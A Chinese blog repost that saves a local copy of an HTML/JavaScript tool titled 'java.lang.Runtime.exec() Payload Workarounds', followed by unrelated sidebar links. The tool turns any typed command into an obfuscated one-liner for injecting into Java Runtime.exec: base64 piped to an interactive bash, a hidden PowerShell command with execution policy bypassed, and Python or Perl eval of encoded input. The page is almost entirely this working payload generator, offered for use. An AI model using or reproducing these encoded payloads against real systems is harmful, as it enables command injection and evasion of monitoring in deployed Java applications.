zoukankan      html  css  js  c++  java
  • java.lang.Runtime.exec() Payload Workarounds

    来源:http://www.jackson-t.ca/runtime-exec-payloads.html

    扣一下html代码,保存在本地方便查找,也方便增加。

    <!DOCTYPE html>
    <html>
    <head>
        <title>java runtime exec usage...</title>
    </head>
    <body>
        <p>Input type:
    <input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
    <input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
    <input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
    <input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
    
        <p><textarea rows="10" style=" 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
    <textarea rows="5" style=" 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
    
    <script>
      var taInput = document.querySelector('textarea#input');
      var taOutput = document.querySelector('textarea#output');
    
      function processInput() {
        var option = document.querySelector('input[name="option"]:checked').value;
    
        switch (option) {
          case 'bash':
            taInput.placeholder = 'Type Bash here...'
            taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
            break;
          case 'powershell':
            taInput.placeholder = 'Type PowerShell here...'
            poshInput = ''
            for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
            taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
            break;
          case 'python':
            taInput.placeholder = 'Type Python here...'
            taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
            break;
          case 'perl':
            taInput.placeholder = 'Type Perl here...'
            taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
            break;
          default:
            taOutput.value = ''
        }
    
        if (!taInput.value) taOutput.value = '';
      }
    
      taInput.addEventListener('input', processInput, false);
    </script>
    
    </body>
    </html>
  • 相关阅读:
    项目管理实践【三】每日构建【Daily Build Using CruiseControl.NET and MSBuild】
    项目管理实践教程二、源代码控制【Source Control Using VisualSVN Server and TortoiseSVN】
    javascript 容易忽略或者误用的七个基础知识点
    未来的路还很长
    Nodejs
    CSS浏览器兼容性相关
    HTML5
    一些正则
    Sublime 使用
    Array.prototype.slice.call(arguments,1)
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/12745188.html
Copyright © 2011-2022 走看看